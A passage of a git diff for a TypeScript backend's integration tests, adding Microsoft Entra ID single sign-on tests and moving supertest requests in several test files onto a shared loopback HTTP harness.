URL(loginRes.headers.location).searchParams.get('state')!; + + const stateEntry = await databaseService.getAdapter().queryOne<{ nonce: string }>( + `SELECT nonce FROM oauth_state_store WHERE state = ?`, + [state], + ); + + const idToken = createValidIdToken({ nonce: stateEntry!.nonce }, stateEntry!.nonce); + + fetchSpy.mockImplementation(async (input: RequestInfo | URL) => { + const url = typeof input === 'string' ? input : input.toString(); + if (url.includes('/oauth2/v2.0/token')) { + return new Response( + JSON.stringify({ id_token: idToken, access_token: 'mock-access' }), + { status: 200, headers: { 'Content-Type': 'application/json' } }, + ); + } + if (url.includes('/discovery/v2.0/keys')) { + return new Response( + JSON.stringify({ keys: [TEST_JWK] }), + { status: 200, headers: { 'Content-Type': 'application/json' } }, + ); + } + return new Response('Not found', { status: 404 }); + }); + + const callbackRes = await request(harness.use(app)) + .get('/api/auth/entra-id/callback') + .query({ code: 'audit-code', state }) + .expect(302); + + const authCode = new URL(callbackRes.headers.location).searchParams.get('code')!; + await request(harness.use(app)).post('/api/auth/entra-id/token').send({ code: authCode }).expect(200); + + // Verify audit log entry exists + const auditLogs = await databaseService.getAdapter().query<{ + eventType: string; + action: string; + details: string; + result: string; + }>( + `SELECT event_type AS "eventType", "action", details, result + FROM audit_logs + WHERE event_type = 'auth' AND "action" = 'login_success' + ORDER BY timestamp DESC LIMIT 1`, + [], + ); + + expect(auditLogs).toHaveLength(1); + expect(auditLogs[0].result).toBe('success'); + + const details = JSON.parse(auditLogs[0].details); + expect(details.username).toBe('testuser'); + expect(details.reason).toBe('method=entra-id'); + }); + }); + + describe('Federation-only account local login rejection', () => { + it('should reject local login with HTTP 401 for user with null password_hash', async () => { + // First: complete an SSO login to create a federation-only user + const loginRes = await request(harness.use(app)).get('/api/auth/entra-id/login').expect(302); + const state = new URL(loginRes.headers.location).searchParams.get('state')!; + + const stateEntry = await databaseService.getAdapter().queryOne<{ nonce: string }>( + `SELECT nonce FROM oauth_state_store WHERE state = ?`, + [state], + ); + + const idToken = createValidIdToken({ nonce: stateEntry!.nonce }, stateEntry!.nonce); + + fetchSpy.mockImplementation(async (input: RequestInfo | URL) => { + const url = typeof input === 'string' ? input : input.toString(); + if (url.includes('/oauth2/v2.0/token')) { + return new Response( + JSON.stringify({ id_token: idToken, access_token: 'mock-access' }), + { status: 200, headers: { 'Content-Type': 'application/json' } }, + ); + } + if (url.includes('/discovery/v2.0/keys')) { + return new Response( + JSON.stringify({ keys: [TEST_JWK] }), + { status: 200, headers: { 'Content-Type': 'application/json' } }, + ); + } + return new Response('Not found', { status: 404 }); + }); + + const callbackRes = await request(harness.use(app)) + .get('/api/auth/entra-id/callback') + .query({ code: 'fed-only-code', state }) + .expect(302); + + const authCode = new URL(callbackRes.headers.location).searchParams.get('code')!; + await request(harness.use(app)).post('/api/auth/entra-id/token').send({ code: authCode }).expect(200); + + // Verify user exists and has null password_hash + const user = await databaseService.getAdapter().queryOne<{ + passwordHash: string | null; + }>( + `SELECT password_hash AS "passwordHash" FROM users WHERE username = 'testuser'`, + [], + ); + expect(user).not.toBeNull(); + expect(user!.passwordHash).toBeNull(); + + // Attempt local login with this federation-only user + const localLoginRes = await request(harness.use(app)) + .post('/api/auth/login') + .send({ username: 'testuser', password: 'AnyPassword123!' }) + .expect(401); + + expect(localLoginRes.body.error).toBeDefined(); + }); + }); + + describe('Coexistence: local auth continues working when Entra ID enabled', () => { + it('should allow local user registration and login while Entra ID is enabled', async () => { + // Verify the providers endpoint shows both + const providersRes = await request(harness.use(app)) + .get('/api/auth/providers') + .expect(200); + + expect(providersRes.body.local).toBe(true); + expect(providersRes.body.entraId).toBeDefined(); + expect(providersRes.body.entraId.enabled).toBe(true); + expect(providersRes.body.entraId.name).toBe('Microsoft Entra ID'); + + // Enable self-registration for the test + await databaseService.getAdapter().execute( + `INSERT INTO config (key, value, updated_at) + VALUES ('allow_self_registration', 'true', datetime('now')) + ON CONFLICT(key) DO UPDATE SET value = 'true'`, + [], + ); + + // Register a local user + const registerRes = await request(harness.use(app)) + .post('/api/auth/register') + .send({ + username: 'localuser', + email: 'localuser@example.com', + password: 'SecurePass123!', + firstName: 'Local', + lastName: 'User', + }) + .expect(201); + + expect(registerRes.body.user.username).toBe('localuser'); + + // Login with local credentials + const localLoginRes = await request(harness.use(app)) + .post('/api/auth/login') + .send({ username: 'localuser', password: 'SecurePass123!' }) + .expect(200); + + expect(localLoginRes.body).toHaveProperty('token'); + expect(localLoginRes.body).toHaveProperty('refreshToken'); + expect(localLoginRes.body.user.username).toBe('localuser'); + + // Simultaneously, Entra ID endpoints are available + const entraLoginRes = await request(harness.use(app)) + .get('/api/auth/entra-id/login') + .expect(302); + + expect(entraLoginRes.headers.location).toContain('login.microsoftonline.com'); + }); + }); +}); diff --git a/backend/test/integration/api.test.ts b/backend/test/integration/api.test.ts index afc8ab9f..c3ec73ce 100644 --- a/backend/test/integration/api.test.ts +++ b/backend/test/integration/api.test.ts @@ -8,6 +8,8 @@ import { beforeEach, } from "vitest"; import express, { type Express } from "express"; +import { beforeAll, afterAll } from "vitest"; +import { createHttpHarness, type HttpHarness } from "../helpers/httpHarness"; import { BoltService } from "../../src/integrations/bolt/BoltService"; import { ExecutionRepository } from "../../src/database/ExecutionRepository"; import { CommandWhitelistService } from "../../src/validation/CommandWhitelistService"; @@ -67,6 +69,20 @@ vi.mock("sqlite3", () => { }; }); +// One loopback-bound HTTP server for the whole file. See +// test/helpers/httpHarness.ts: supertest's default request(app) opens a +// fresh wildcard-bound socket per request, which on macOS can be shadowed +// by an unrelated process holding the same port on 127.0.0.1. +let harness: HttpHarness; + +beforeAll(async () => { + harness = await createHttpHarness(); +}); + +afterAll(async () => { + await harness.close(); +}); + describe("API Integration Tests", () => { let app: Express; let boltService: BoltService; @@ -174,7 +190,7 @@ describe("API Integration Tests", () => { testApp.use(errorHandler); const request = (await import("supertest")).default; - const response = await request(testApp) + const response = await request(harness.use(testApp)) .get("/test-validation-error") .expect(400); @@ -201,7 +217,7 @@ describe("API Integration Tests", () => { testApp.use(errorHandler); const request = (await import("supertest")).default; - const response = await request(testApp) + const response = await request(harness.use(testApp)) .get("/test-connection-error") .expect(503); @@ -232,7 +248,7 @@ describe("API Integration Tests", () => { testApp.use(errorHandler); const request = (await import("supertest")).default; - const response = await request(testApp) + const response = await request(harness.use(testApp)) .get("/test-expert-mode") .expect(500); @@ -256,7 +272,7 @@ describe("API Integration Tests", () => { testApp.use(errorHandler); const request = (await import("supertest")).default; - const response = await request(testApp) + const response = await request(harness.use(testApp)) .get("/test-header-only") .set("X-Expert-Mode", "true") // raw header, no middleware to grant it .expect(500); @@ -278,7 +294,7 @@ describe("API Integration Tests", () => { testApp.use(errorHandler); const request = (await import("supertest")).default; - const response = await request(testApp) + const response = await request(harness.use(testApp)) .get("/test-no-expert-mode") .expect(500); diff --git a/backend/test/integration/auth-flow.test.ts b/backend/test/integration/auth-flow.test.ts index 6905f662..95746906 100644 --- a/backend/test/integration/auth-flow.test.ts +++ b/backend/test/integration/auth-flow.test.ts @@ -1,6 +1,7 @@ -import { describe, it, expect, beforeEach, afterEach } from 'vitest'; +import { describe, it, expect, beforeEach, afterEach, beforeAll, afterAll } from 'vitest'; import express, { Express } from 'express'; import request from 'supertest'; +import { createHttpHarness, type HttpHarness } from '../helpers/httpHarness'; import { createAuthRouter } from '../../src/routes/auth'; import { createUsersRouter } from '../../src/routes/users'; import { DatabaseService } from '../../src/database/DatabaseService'; @@ -57,6 +58,20 @@ async function grantUsersReadPermission( * * Validates Requirements: 1.1, 6.3, 19.1 */ +// One loopback-bound HTTP server for the whole file. See +// test/helpers/httpHarness.ts: supertest's default request(app) opens a +// fresh wildcard-bound socket per request, which on macOS can be shadowed +// by an unrelated process holding the same port on 127.0.0.1. +let harness: HttpHarness; + +beforeAll(async () => { + harness = await createHttpHarness(); +}); + +afterAll(async () => { + await harness.close(); +}); + describe('Authentication Flow Integration Tests', () => { let app: Express; let databaseService: DatabaseService; @@ -99,7 +114,7 @@ describe('Authentication Flow Integration Tests', () => { lastName: 'Test', }; - const registerResponse = await request(app) + const registerResponse = await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); @@ -126,7 +141,7 @@ describe('Authentication Flow Integration Tests', () => { password: 'SecurePass123!', }; - const loginResponse = await request(app) + const loginResponse = await request(harness.use(app)) .post('/api/auth/login') .send(loginData) .expect(200); @@ -145,7 +160,7 @@ describe('Authentication Flow Integration Tests', () => { const accessToken = loginResponse.body.token; // Step 3: Access a protected endpoint with the token - const protectedResponse = await request(app) + const protectedResponse = await request(harness.use(app)) .get(`/api/users/${userId}`) .set('Authorization', `Bearer ${accessToken}`) .expect(200); @@ -156,12 +171,12 @@ describe('Authentication Flow Integration Tests', () => { expect(protectedResponse.body.email).toBe('integration@example.com'); // Step 4: Verify that accessing without token fails - await request(app) + await request(harness.use(app)) .get(`/api/users/${userId}`) .expect(401); // Step 5: Verify that accessing with invalid token fails - await request(app) + await request(harness.use(app)) .get(`/api/users/${userId}`) .set('Authorization', 'Bearer invalid-token-here') .expect(401); @@ -169,7 +184,7 @@ describe('Authentication Flow Integration Tests', () => { it('should prevent access to protected endpoints without authentication', async () => { // Try to access protected endpoint without token - const response = await request(app) + const response = await request(harness.use(app)) .get('/api/users') .expect(401); @@ -187,12 +202,12 @@ describe('Authentication Flow Integration Tests', () => { lastName: 'Test', }; - await request(app) + await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); - const loginResponse = await request(app) + const loginResponse = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'tokentest', password: 'SecurePass123!' }) .expect(200); @@ -200,13 +215,13 @@ describe('Authentication Flow Integration Tests', () => { const userId = loginResponse.body.user.id; // Try with malformed token - await request(app) + await request(harness.use(app)) .get(`/api/users/${userId}`) .set('Authorization', 'Bearer malformed.token.here') .expect(401); // Try with completely invalid token - await request(app) + await request(harness.use(app)) .get(`/api/users/${userId}`) .set('Authorization', 'Bearer not-a-jwt-token') .expect(401); @@ -222,7 +237,7 @@ describe('Authentication Flow Integration Tests', () => { lastName: 'User', }; - const registerResponse = await request(app) + const registerResponse = await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); @@ -230,7 +245,7 @@ describe('Authentication Flow Integration Tests', () => { await grantUsersReadPermission(databaseService, registerResponse.body.user.id); - const loginResponse = await request(app) + const loginResponse = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'sessionuser', password: 'SecurePass123!' }) .expect(200); @@ -240,7 +255,7 @@ describe('Authentication Flow Integration Tests', () => { // Make multiple requests with the same token for (let i = 0; i < 3; i++) { - const response = await request(app) + const response = await request(harness.use(app)) .get(`/api/users/${userId}`) .set('Authorization', `Bearer ${token}`) .expect(200); @@ -261,7 +276,7 @@ describe('Authentication Flow Integration Tests', () => { lastName: 'User', }; - const registerResponse = await request(app) + const registerResponse = await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); @@ -269,7 +284,7 @@ describe('Authentication Flow Integration Tests', () => { await grantUsersReadPermission(databaseService, registerResponse.body.user.id); - const loginResponse = await request(app) + const loginResponse = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'refreshuser', password: 'SecurePass123!' }) .expect(200); @@ -279,7 +294,7 @@ describe('Authentication Flow Integration Tests', () => { const userId = loginResponse.body.user.id; // Step 2: Use refresh token to get new access token - const refreshResponse = await request(app) + const refreshResponse = await request(harness.use(app)) .post('/api/auth/refresh') .send({ refreshToken }) .expect(200); @@ -294,7 +309,7 @@ describe('Authentication Flow Integration Tests', () => { expect(newToken).not.toBe(originalToken); // Step 3: Verify new token works for protected endpoints - const protectedResponse = await request(app) + const protectedResponse = await request(harness.use(app)) .get(`/api/users/${userId}`) .set('Authorization', `Bearer ${newToken}`) .expect(200); @@ -302,14 +317,14 @@ describe('Authentication Flow Integration Tests', () => { expect(protectedResponse.body.username).toBe('refreshuser'); // Step 4: Verify original token still works (not revoked by refresh) - await request(app) + await request(harness.use(app)) .get(`/api/users/${userId}`) .set('Authorization', `Bearer ${originalToken}`) .expect(200); }); it('should reject invalid refresh token', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/refresh') .send({ refreshToken: 'invalid-refresh-token' }) .expect(400); @@ -319,7 +334,7 @@ describe('Authentication Flow Integration Tests', () => { }); it('should reject missing refresh token', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/refresh') .send({}) .expect(400); @@ -338,12 +353,12 @@ describe('Authentication Flow Integration Tests', () => { lastName: 'Refresh', }; - await request(app) + await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); - const loginResponse = await request(app) + const loginResponse = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'logoutrefresh', password: 'SecurePass123!' }) .expect(200); @@ -352,14 +367,14 @@ describe('Authentication Flow Integration Tests', () => { const refreshToken = loginResponse.body.refreshToken; // Logout - await request(app) + await request(harness.use(app)) .post('/api/auth/logout') .set('Authorization', `Bearer ${token}`) .expect(200); // Try to use refresh token after logout // Note: Refresh token should still work as only access token is revoked - const refreshResponse = await request(app) + const refreshResponse = await request(harness.use(app)) .post('/api/auth/refresh') .send({ refreshToken }) .expect(200); @@ -379,7 +394,7 @@ describe('Authentication Flow Integration Tests', () => { lastName: 'User', }; - const registerResponse = await request(app) + const registerResponse = await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); @@ -387,7 +402,7 @@ describe('Authentication Flow Integration Tests', () => { await grantUsersReadPermission(databaseService, registerResponse.body.user.id); - const loginResponse = await request(app) + const loginResponse = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'logoutuser', password: 'SecurePass123!' }) .expect(200); @@ -396,13 +411,13 @@ describe('Authentication Flow Integration Tests', () => { const userId = loginResponse.body.user.id; // Step 2: Verify token works before logout - await request(app) + await request(harness.use(app)) .get(`/api/users/${userId}`) .set('Authorization', `Bearer ${token}`) .expect(200); // Step 3: Logout - const logoutResponse = await request(app) + const logoutResponse = await request(harness.use(app)) .post('/api/auth/logout') .set('Authorization', `Bearer ${token}`) .expect(200); @@ -411,14 +426,14 @@ describe('Authentication Flow Integration Tests', () => { expect(logoutResponse.body.message).toBe('Logout successful'); // Step 4: Verify token is revoked and cannot be used - await request(app) + await request(harness.use(app)) .get(`/api/users/${userId}`) .set('Authorization', `Bearer ${token}`) .expect(401); }); it('should require authentication for logout', async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post('/api/auth/logout') .expect(401); @@ -427,7 +442,7 @@ describe('Authentication Flow Integration Tests', () => { }); it('should handle logout with invalid token', async () => { - await request(app) + await request(harness.use(app)) .post('/api/auth/logout') .set('Authorization', 'Bearer invalid-token') .expect(401); @@ -443,7 +458,7 @@ describe('Authentication Flow Integration Tests', () => { lastName: 'User', }; - const registerResponse = await request(app) + const registerResponse = await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); @@ -451,7 +466,7 @@ describe('Authentication Flow Integration Tests', () => { await grantUsersReadPermission(databaseService, registerResponse.body.user.id); - const loginResponse1 = await request(app) + const loginResponse1 = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'reloginuser', password: 'SecurePass123!' }) .expect(200); @@ -459,13 +474,13 @@ describe('Authentication Flow Integration Tests', () => { const token1 = loginResponse1.body.token; // Logout - await request(app) + await request(harness.use(app)) .post('/api/auth/logout') .set('Authorization', `Bearer ${token1}`) .expect(200); // Login again - const loginResponse2 = await request(app) + const loginResponse2 = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'reloginuser', password: 'SecurePass123!' }) .expect(200); @@ -477,13 +492,13 @@ describe('Authentication Flow Integration Tests', () => { const userId = loginResponse2.body.user.id; // Verify new token works - await request(app) + await request(harness.use(app)) .get(`/api/users/${userId}`) .set('Authorization', `Bearer ${token2}`) .expect(200); // Verify old token still doesn't work - await request(app) + await request(harness.use(app)) .get(`/api/users/${userId}`) .set('Authorization', `Bearer ${token1}`) .expect(401); @@ -501,7 +516,7 @@ describe('Authentication Flow Integration Tests', () => { }; // 1. Register - const registerResponse = await request(app) + const registerResponse = await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); @@ -512,7 +527,7 @@ describe('Authentication Flow Integration Tests', () => { // 2. Login - const loginResponse1 = await request(app) + const loginResponse1 = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'lifecycleuser', password: 'SecurePass123!' }) .expect(200); @@ -521,25 +536,25 @@ describe('Authentication Flow Integration Tests', () => { const userId = loginResponse1.body.user.id; // 3. Use protected endpoint - await request(app) + await request(harness.use(app)) .get(`/api/users/${userId}`) .set('Authorization', `Bearer ${token1}`) .expect(200); // 4. Logout - await request(app) + await request(harness.use(app)) .post('/api/auth/logout') .set('Authorization', `Bearer ${token1}`) .expect(200); // 5. Verify token is revoked - await request(app) + await request(harness.use(app)) .get(`/api/users/${userId}`) .set('Authorization', `Bearer ${token1}`) .expect(401); // 6. Re-login - const loginResponse2 = await request(app) + const loginResponse2 = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'lifecycleuser', password: 'SecurePass123!' }) .expect(200); @@ -547,7 +562,7 @@ describe('Authentication Flow Integration Tests', () => { const token2 = loginResponse2.body.token; // 7. Use protected endpoint with new token - await request(app) + await request(harness.use(app)) .get(`/api/users/${userId}`) .set('Authorization', `Bearer ${token2}`) .expect(200); @@ -563,7 +578,7 @@ describe('Authentication Flow Integration Tests', () => { }; // Register - const registerResponse = await request(app) + const registerResponse = await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); @@ -572,7 +587,7 @@ describe('Authentication Flow Integration Tests', () => { // Login from "device 1" - const login1 = await request(app) + const login1 = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'multiuser', password: 'SecurePass123!' }) .expect(200); @@ -581,7 +596,7 @@ describe('Authentication Flow Integration Tests', () => { const userId = login1.body.user.id; // Login from "device 2" - const login2 = await request(app) + const login2 = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'multiuser', password: 'SecurePass123!' }) .expect(200); @@ -589,30 +604,30 @@ describe('Authentication Flow Integration Tests', () => { const token2 = login2.body.token; // Verify both tokens work - await request(app) + await request(harness.use(app)) .get(`/api/users/${userId}`) .set('Authorization', `Bearer ${token1}`) .expect(200); - await request(app) + await request(harness.use(app)) .get(`/api/users/${userId}`) .set('Authorization', `Bearer ${token2}`) .expect(200); // Logout from device 1 - await request(app) + await request(harness.use(app)) .post('/api/auth/logout') .set('Authorization', `Bearer ${token1}`) .expect(200); // Verify token1 is revoked - await request(app) + await request(harness.use(app)) .get(`/api/users/${userId}`) .set('Authorization', `Bearer ${token1}`) .expect(401); // Verify token2 still works - await request(app) + await request(harness.use(app)) .get(`/api/users/${userId}`) .set('Authorization', `Bearer ${token2}`) .expect(200); @@ -628,7 +643,7 @@ describe('Authentication Flow Integration Tests', () => { }; // Register - const registerResponse = await request(app) + const registerResponse = await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); @@ -639,7 +654,7 @@ describe('Authentication Flow Integration Tests', () => { await grantUsersReadPermission(databaseService, userId); // Login successfully - const loginResponse = await request(app) + const loginResponse = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'inactiveuser', password: 'SecurePass123!' }) .expect(200); @@ -647,7 +662,7 @@ describe('Authentication Flow Integration Tests', () => { const token = loginResponse.body.token; // Verify token works - await request(app) + await request(harness.use(app)) .get(`/api/users/${userId}`) .set('Authorization', `Bearer ${token}`) .expect(200); @@ -659,14 +674,14 @@ describe('Authentication Flow Integration Tests', () => { ); // Try to login with inactive account - await request(app) + await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'inactiveuser', password: 'SecurePass123!' }) .expect(401); // Existing token should still work (token was issued when user was active) // Note: In production, you might want to check user status on each request - await request(app) + await request(harness.use(app)) .get(`/api/users/${userId}`) .set('Authorization', `Bearer ${token}`) .expect(200); @@ -681,12 +696,12 @@ describe('Authentication Flow Integration Tests', () => { lastName: 'Structure', }; - await request(app) + await request(harness.use(app)) .post('/api/auth/register') .send(userData) .expect(201); - const loginResponse = await request(app) + const loginResponse = await request(harness.use(app)) .post('/api/auth/login') .send({ username: 'tokenstructure', password: 'SecurePass123!' }) .expect(200); diff --git a/backend/test/integration/batch-execution.test.ts b/backend/test/integration/batch-execution.test.ts index cbfab1d9..99dc4a84 100644 --- a/backend/test/integration/batch-execution.test.ts +++ b/backend/test/integration/batch-execution.test.ts @@ -1,13 +1,7 @@ -import { - describe, - it, - expect, - beforeEach, - afterEach, - vi, -} from "vitest"; +import { describe, it, expect, beforeEach, afterEach, vi, beforeAll, afterAll } from "vitest"; import express, { type Express } from "express"; import request from "supertest"; +import { createHttpHarness, type HttpHarness } from "../helpers/httpHarness"; import { SQLiteAdapter } from "../../src/database/SQLiteAdapter"; import type { DatabaseAdapter } from "../../src/database/DatabaseAdapter"; import { ExecutionRepository } from "../../src/database/ExecutionRepository"; @@ -24,6 +18,20 @@ import type { IntegrationManager } from "../../src/integrations/IntegrationManag * * **Validates: Requirements 5.1, 5.2, 5.8, 5.9, 5.10, 6.1, 6.2, 6.6, 6.7, 8.2, 8.9, 15.3** */ +// One loopback-bound HTTP server for the whole file. See +// test/helpers/httpHarness.ts: supertest's default request(app) opens a +// fresh wildcard-bound socket per request, which on macOS can be shadowed +// by an unrelated process holding the same port on 127.0.0.1. +let harness: HttpHarness; + +beforeAll(async () => { + harness = await createHttpHarness(); +}); + +afterAll(async () => { + await harness.close(); +}); + describe("Batch Execution API Endpoints", () => { let app: Express; let executionRepository: ExecutionRepository; @@ -74,7 +82,7 @@ describe("Batch Execution API Endpoints", () => { mockResponse ); - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/executions/batch") .send({ targetNodeIds: ["node1", "node2", "node3"], @@ -110,7 +118,7 @@ describe("Batch Execution API Endpoints", () => { mockResponse ); - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/executions/batch") .send({ targetGroupIds: ["group1"], @@ -145,7 +153,7 @@ describe("Batch Execution API Endpoints", () => { mockResponse ); - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/executions/batch") .send({ targetNodeIds: ["node1", "node2"], @@ -160,7 +168,7 @@ describe("Batch Execution API Endpoints", () => { }); it("should return 400 when no targets are specified", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/executions/batch") .send({ type: "command", @@ -174,7 +182,7 @@ describe("Batch Execution API Endpoints", () => { }); it("should return 400 when action is missing", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/executions/batch") .send({ targetNodeIds: ["node1"], @@ -187,7 +195,7 @@ describe("Batch Execution API Endpoints", () => { }); it("should return 400 when type is invalid", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/executions/batch") .send({ targetNodeIds: ["node1"], @@ -205,7 +213,7 @@ describe("Batch Execution API Endpoints", () => { new Error("Invalid node IDs: node-nonexistent") ); - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/executions/batch") .send({ targetNodeIds: ["node-nonexistent"], @@ -223,7 +231,7 @@ describe("Batch Execution API Endpoints", () => { new Error("Execution queue is full. Maximum concurrent executions: 5") ); - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/executions/batch") .send({ targetNodeIds: ["node1", "node2", "node3"], @@ -241,7 +249,7 @@ describe("Batch Execution API Endpoints", () => { new Error("Database connection failed") ); - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/executions/batch") .send({ targetNodeIds: ["node1"], @@ -265,7 +273,7 @@ describe("Batch Execution API Endpoints", () => { ); appWithoutService.use(errorHandler); - const response = await request(appWithoutService) + const response = await request(harness.use(appWithoutService)) .post("/api/executions/batch") .send({ targetNodeIds: ["node1"], @@ -340,7 +348,7 @@ describe("Batch Execution API Endpoints", () => { mockBatchStatus ); - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/executions/batch/batch-123") .expect(200); @@ -401,7 +409,7 @@ describe("Batch Execution API Endpoints", () => { mockBatchStatus ); - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/executions/batch/batch-123?status=failed") .expect(200); @@ -418,7 +426,7 @@ describe("Batch Execution API Endpoints", () => { new Error("Batch execution batch-nonexistent not found") ); - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/executions/batch/batch-nonexistent") .expect(404); @@ -431,7 +439,7 @@ describe("Batch Execution API Endpoints", () => { new Error("Database connection failed") ); - const response = await request(app) + const response = await request(harness.use(app)) .get("/api/executions/batch/batch-123") .expect(500); @@ -450,7 +458,7 @@ describe("Batch Execution API Endpoints", () => { ); appWithoutService.use(errorHandler); - const response = await request(appWithoutService) + const response = await request(harness.use(appWithoutService)) .get("/api/executions/batch/batch-123") .expect(500); @@ -467,7 +475,7 @@ describe("Batch Execution API Endpoints", () => { mockResult ); - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/executions/batch/batch-123/cancel") .expect(200); @@ -485,7 +493,7 @@ describe("Batch Execution API Endpoints", () => { mockResult ); - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/executions/batch/batch-456/cancel") .expect(200); @@ -498,7 +506,7 @@ describe("Batch Execution API Endpoints", () => { new Error("Batch execution batch-nonexistent not found") ); - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/executions/batch/batch-nonexistent/cancel") .expect(404); @@ -511,7 +519,7 @@ describe("Batch Execution API Endpoints", () => { new Error("Database connection failed") ); - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/executions/batch/batch-123/cancel") .expect(500); @@ -530,7 +538,7 @@ describe("Batch Execution API Endpoints", () => { ); appWithoutService.use(errorHandler); - const response = await request(appWithoutService) + const response = await request(harness.use(appWithoutService)) .post("/api/executions/batch/batch-123/cancel") .expect(500); @@ -701,7 +709,7 @@ describe("Batch Execution End-to-End Flow", () => { }); it("should create batch execution with nodes and store in database", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/executions/batch") .send({ targetNodeIds: ["node1", "node2"], @@ -739,7 +747,7 @@ describe("Batch Execution End-to-End Flow", () => { }); it("should expand groups and create executions for all members", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/executions/batch") .send({ targetGroupIds: ["group1"], @@ -764,7 +772,7 @@ describe("Batch Execution End-to-End Flow", () => { }); it("should deduplicate nodes when mixing node IDs and group IDs", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/executions/batch") .send({ targetNodeIds: ["node1", "node2"], @@ -787,7 +795,7 @@ describe("Batch Execution End-to-End Flow", () => { it("should fetch batch status with aggregated statistics", async () => { // Create batch - const createResponse = await request(app) + const createResponse = await request(harness.use(app)) .post("/api/executions/batch") .send({ targetNodeIds: ["node1", "node2", "node3"], @@ -819,7 +827,7 @@ describe("Batch Execution End-to-End Flow", () => { await new Promise(resolve => setTimeout(resolve, 100)); // Fetch batch status - const statusResponse = await request(app) + const statusResponse = await request(harness.use(app)) .get(`/api/executions/batch/${batchId}`) .expect(200); @@ -836,7 +844,7 @@ describe("Batch Execution End-to-End Flow", () => { it("should filter batch status by execution status", async () => { // Create batch - const createResponse = await request(app) + const createResponse = await request(harness.use(app)) .post("/api/executions/batch") .send({ targetNodeIds: ["node1", "node2", "node3"], @@ -864,7 +872,7 @@ describe("Batch Execution End-to-End Flow", () => { ); // Fetch only failed executions - const statusResponse = await request(app) + const statusResponse = await request(harness.use(app)) .get(`/api/executions/batch/${batchId}?status=failed`) .expect(200); @@ -874,7 +882,7 @@ describe("Batch Execution End-to-End Flow", () => { it("should cancel batch execution and update database", async () => { // Create batch - const createResponse = await request(app) + const createResponse = await request(harness.use(app)) .post("/api/executions/batch") .send({ targetNodeIds: ["node1", "node2", "node3"], @@ -886,7 +894,7 @@ describe("Batch Execution End-to-End Flow", () => { const batchId = createResponse.body.batchId; // Immediately cancel batch before executions complete - const cancelResponse = await request(app) + const cancelResponse = await request(harness.use(app)) .post(`/api/executions/batch/${batchId}/cancel`) .expect(200); @@ -919,7 +927,7 @@ describe("Batch Execution End-to-End Flow", () => { new Error("Execution queue is full. Maximum concurrent executions: 5") ); - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/executions/batch") .send({ targetNodeIds: ["node1", "node2"], @@ -936,7 +944,7 @@ describe("Batch Execution End-to-End Flow", () => { }); it("should validate node IDs and return error for invalid nodes", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/executions/batch") .send({ targetNodeIds: ["node1", "invalid-node"], @@ -954,7 +962,7 @@ describe("Batch Execution End-to-End Flow", () => { }); it("should handle multiple groups with overlapping nodes", async () => { - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/executions/batch") .send({ targetGroupIds: ["group1", "group2"], @@ -977,7 +985,7 @@ describe("Batch Execution End-to-End Flow", () => { it("should store batch parameters correctly", async () => { const parameters = { package: "nginx", version: "latest" }; - const response = await request(app) + const response = await request(harness.use(app)) .post("/api/executions/batch") .send({ targetNodeIds: ["node1"], diff --git a/backend/test/integration/bolt-plugin-integration.test.ts b/backend/test/integration/bolt-plugin-integration.test.ts index 7c176533..e8c520f8 100644 --- a/backend/test/integration/bolt-plugin-integration.test.ts +++ b/backend/test/integration/bolt-plugin-integration.test.ts @@ -11,6 +11,8 @@ */ import { describe, it, expect, beforeAll, afterAll } from "vitest"; +import { join, dirname, resolve } from "node:path"; +import { fileURLToPath } from "node:url"; import { IntegrationManager } from "../../src/integrations/IntegrationManager"; import { BoltPlugin } from "../../src/integrations/bolt/BoltPlugin"; import { BoltService } from "../../src/integrations/bolt/BoltService"; @@ -65,6 +67,9 @@ describe("Bolt Plugin Integration", () => { let boltPlugin: BoltPlugin; let testNode: Node | undefined; let boltAvailable = false; + // A second manager wired to a project path that is guaranteed not to exist, + // used only by the assertions that require Bolt to be UNAVAILABLE. + let brokenManager: IntegrationManager; 